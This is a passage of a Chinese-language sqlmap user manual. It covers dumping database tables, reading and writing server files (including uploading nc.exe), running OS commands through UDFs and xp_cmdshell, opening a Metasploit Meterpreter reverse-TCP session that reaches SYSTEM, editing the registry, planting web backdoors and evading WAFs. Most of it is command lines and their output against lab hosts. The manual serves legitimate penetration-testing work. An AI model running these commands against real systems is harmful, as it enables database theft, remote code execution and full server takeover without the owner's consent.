使用-D,-T参数指定想要获取哪个库的哪个表,不使用-D参数时,默认使用当前库。

列举一个Firebird的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME | SURNAME |
+----+--------+------------+
| 1 | luther | blisset |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
+----+--------+------------+

可以获取指定库中的所有表的内容,只用-dump跟-D参数(不使用-T与-C参数)。

也可以用-dump跟-C获取指定的字段内容。

sqlmap为每个表生成了一个CSV文件。

如果你只想获取一段数据,可以使用--start和--stop参数,例如,你只想获取第一段数据可hi使用--stop 1,如果想获取第二段与第三段数据,使用参数 --start 1 --stop 3。

也可以用--first与--last参数,获取第几个字符到第几个字符的内容,如果你想获取字段中地三个字符到第五个字符的内容,使用--first 3 --last 5,只在盲注的时候使用,因为其他方式可以准确的获取注入内容,不需要一个字符一个字符的猜解。

获取所有数据库表的内容

参数:--dump-all,--exclude-sysdbs

使用--dump-all参数获取所有数据库表的内容,可同时加上--exclude-sysdbs只获取用户数据库的表,需要注意在Microsoft SQL Server中master数据库没有考虑成为一个系统数据库,因为有的管理员会把他当初用户数据库一样来使用它。

搜索字段,表,数据库

参数:--search,-C,-T,-D

--search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。

可以在一下三种情况下使用:

-C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。
-T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名
-D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。

运行自定义的SQL语句

参数:--sql-query,--sql-shell

sqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。

如果是SELECT查询语句,sqlap将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句。

列举一个Mircrosoft SQL Server 2000的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1

[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo': 'foo'

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2

[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar': 'foo, bar'

10.爆破

暴力破解表名

参数:--common-tables

当使用--tables无法获取到数据库的表时,可以使用此参数。

通常是如下情况:

1、MySQL数据库版本小于5.0,没有information_schema表。
2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。
3、当前用户没有权限读取系统中保存数据结构的表的权限。

暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。

列举一个MySQL 4.1的例子:

$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner

[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL &lt; 5.0.0
banner: '4.1.21-community-nt'

[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users

Database: testdb
[1 table]
+-------+
| users |
+-------+

暴力破解列名

参数:--common-columns

与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中。

用户自定义函数注入

参数:--udf-inject,--shared-lib

你可以通过编译MySQL注入你自定义的函数(UDFs)或PostgreSQL在windows中共享库,DLL,或者Linux/Unix中共享对象,sqlmap将会问你一些问题,上传到服务器数据库自定义函数,然后根据你的选择执行他们,当你注入完成后,sqlmap将会移除它们。

11.系统文件操作

从数据库服务器中读取文件

参数:--file-read

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。

读取的文件可以是文本也可以是二进制文件。

列举一个Microsoft SQL Server 2005的例子:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \
--file-read "C:/example.exe" -v 1

[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/C__example.exe'
[...]

$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe

$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
80386 32-bit

把文件上传到数据库服务器中

参数:--file-write,--file-dest

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。

列举一个MySQL的例子:

$ file /software/nc.exe.packed 
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit

$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \
"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL &gt;= 5.0.0

[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully
written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
same size as the local file '/software/nc.exe.packed'

运行任意操作系统命令

参数:--os-cmd,--os-shell

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。

在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。

那么他创建的这两个函数可以执行系统命令。在Microsoft SQL  Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server  2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建。

列举一个PostgreSQL的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \
--os-cmd id -v 1

[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(postgres)'

[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can
only be deleted manually

用--os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。

当不能执行多语句的时候(比如php或者asp的后端数据库为MySQL时),仍然可能使用INTO OUTFILE写进可写目录,来创建一个web后门。支持的语言:

1、ASP
2、ASP.NET
3、JSP
4、PHP

Meterpreter配合使用

参数:--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path,--tmp-path

当数据库为MySQL,PostgreSQL或Microsoft SQL  Server,并且当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,并有四种方式执行它:

1、通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:--os-pwn。
2、通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:--os-pwn。
3、通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。
4、通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:--os-bof

列举一个MySQL例子:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit

[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
&gt;
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
&gt;
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database underlying
operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
&gt;
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
&gt;
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
&gt;
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..

_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|

=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12272 updated 4 days ago (2011.04.07)

PAYLOAD =&gt; windows/meterpreter/reverse_tcp
EXITFUNC =&gt; thread
LPORT =&gt; 60641
LHOST =&gt; 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval',
please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -&gt; 192.168.136.129:1689) at Mon Apr 11
hh:mm:52 +0100 2011

meterpreter &gt; Loading extension espia...success.
meterpreter &gt; Loading extension incognito...success.
meterpreter &gt; [-] The 'priv' extension has already been loaded.
meterpreter &gt; Loading extension sniffer...success.
meterpreter &gt; System Language : en_US
OS : Windows .NET Server (Build 3790, Service Pack 2).
Computer : W2K3R2
Architecture : x86
Meterpreter : x86/win32
meterpreter &gt; Server username: NT AUTHORITY\SYSTEM
meterpreter &gt; ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0

Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address : 192.168.136.129
Netmask : 255.255.255.0

meterpreter &gt; exit

[*] Meterpreter session 1 closed. Reason: User exit

默认情况下MySQL在Windows上以SYSTEM权限运行,PostgreSQL在Windows与Linux中是低权限运行,Microsoft SQL Server 2000默认是以SYSTEM权限运行,Microsoft SQL Server  2005与2008大部分是以NETWORK SERVICE有时是LOCAL SERVICE。

《sqlmap用户手册》其实只写了大部分可能用到的参数,还有些并未写,这次补上~

ps:其实看到zone里很多问sqlmap的问题在通读看完那篇文章后都能解决。可惜啊,现在的人通读看文章的耐心都没有了,遇到了哪个问题就想起针对这个问题求助,却不知道仔细看完之后,以后可以省多少时间来求助,吐槽完毕,正文开始:

12.对Windows注册表操作

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前web应用支持堆查询。 当然,当前连接数据库的用户也需要有权限操作注册表。

读取注册表值

参数:--reg-read

写入注册表值

参数:--reg-add

删除注册表值

参数:--reg-del

注册表辅助选项

参数:--reg-key,--reg-value,--reg-data,--reg-type

需要配合之前三个参数使用,例子:

$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

13.常规参数

从sqlite中读取session

参数:-s

sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就可以用这个参数。

保存HTTP(S)日志

参数:-t

这个参数需要跟一个文本文件,sqlmap会把HTTP(S)请求与响应的日志保存到那里。

非交互模式

参数:--batch

用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。

强制使用字符编码

参数:--charset

不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定字符编码如:

--charset=GBK

爬行网站URL

参数:--crawl

sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。

例子:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
[...]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)
[...]

规定输出到CSV中的分隔符

参数:--csv-del

当dump保存为CSV格式时(--dump-format=CSV),需要一个分隔符默认是逗号,用户也可以改为别的 如:

--csv-del=";"

DBMS身份验证

参数:--dbms-cred

某些时候当前用户的权限不够,做某些操作会失败,如果知道高权限用户的密码,可以使用此参数,有的数据库有专门的运行机制,可以切换用户如Microsoft SQL Server的OPENROWSET函数

定义dump数据的格式

参数:--dump-format

输出的格式可定义为:CSV,HTML,SQLITE

预估完成时间

参数:--eta

可以计算注入数据的剩余时间。

例如Oracle的布尔型盲注:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta

[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========> ] 11/64 ETA 00:19

然后:

100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

sqlmap先输出长度,预计完成时间,显示百分比,输出字符

刷新session文件

参数:--flush-session

如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。

自动获取form表单测试

参数:--forms

如果你想对一个页面的form表单中的参数测试,可以使用-r参数读取请求文件,或者通过--data参数测试。 但是当使用--forms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。

忽略在会话文件中存储的查询结果

参数:--fresh-queries

忽略session文件保存的查询,重新查询。

使用DBMS的hex函数

参数:--hex

有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免:

针对PostgreSQL例子:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors

[...]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]

自定义输出的路径

参数:--output-dir

sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:--output-dir=/tmp

从响应中获取DBMS的错误信息

参数:--parse-errors

有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息。

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors
[...]
[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[11:12:17] [INFO] target URL appears to have 3 columns in query
[...]

14.其他的一些参数

使用参数缩写

参数:-z

有使用参数太长太复杂,可以使用缩写模式。 例如:

python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1"

可以写成:

python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"

还有:

python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1"

可以写成:

python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"

成功SQL注入时警告

参数:--alert

设定会发的答案

参数:--answers

当希望sqlmap提出输入时,自动输入自己想要的答案可以使用此参数: 例子:

$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch
[...]
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] N
[...]

发现SQL注入时发出蜂鸣声

参数:--beep

发现sql注入时,发出蜂鸣声。

启发式检测WAF/IPS/IDS保护

参数:--check-waf

WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试。 sqlmap将会使用一个不存在的参数来注入测试

例如:

&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1

如果有保护的话可能返回结果会不同。

清理sqlmap的UDF(s)和表

参数:--cleanup

清除sqlmap注入时产生的udf与表。

禁用彩色输出

参数:--desable-coloring

sqlmap默认彩色输出,可以使用此参数,禁掉彩色输出。

使用指定的Google结果页面

参数:--gpage

默认sqlmap使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试。

使用HTTP参数污染

参数:--hpp

HTTP参数污染可能会绕过WAF/IPS/IDS保护机制,这个对ASP/IIS与ASP.NET/IIS平台很有效。

测试WAF/IPS/IDS保护

参数:--identify-waf

sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。

例如对一个受到ModSecurity WAF保护的MySQL例子:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3
[...]
[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (United Security Providers)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application Firewall (BinarySEC)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application Firewall (art of defence Inc.)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisco Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Akamai Technologies)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application Firewall (Incapsula/Imperva)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application Firewall (CloudFlare)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application Firewall (Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application Security (IBM)'
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Firewall (Jiasule)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firewall (AQTRONIX)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source Web Application Firewall (Trustwave)'
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Application Firewall (Trustwave)'. Please consider usage of tamper scripts (option '--tamper')
[...]

模仿智能手机

参数:--mobile

有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
[...]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S
> 1
[...]

安全的删除output目录的文件

参数:--purge-output

有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。

例如:

$ python sqlmap.py --purge-output -v 3
[...]
[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'...
[xx:xx:55] [DEBUG] changing file attributes
[xx:xx:55] [DEBUG] writing random data to files
[xx:xx:55] [DEBUG] truncating files
[xx:xx:55] [DEBUG] renaming filenames to random values
[xx:xx:55] [DEBUG] renaming directory names to random values
[xx:xx:55] [DEBUG] deleting the whole directory tree
[...]

启发式判断注入

参数:--smart

有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。

例子:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart
[...]
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'ca'
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'user'
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic
[xx:xx:14] [INFO] GET parameter 'id' is dynamic
[xx:xx:14] [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[xx:xx:14] [INFO] testing 'MySQL inline queries'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[xx:xx:24] [INFO] target URL appears to have 3 columns in query
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
[...]

初级用户向导参数

参数:--wizard 面向初级用户的参数,可以一步一步教你如何输入针对目标注入。

$ python sqlmap.py --wizard

sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool

http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 11:25:26

Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1
POST data (--data) [Enter for None]:
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Smart
[3] All
> 1

sqlmap is running, please wait..

heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] Y
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 25 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
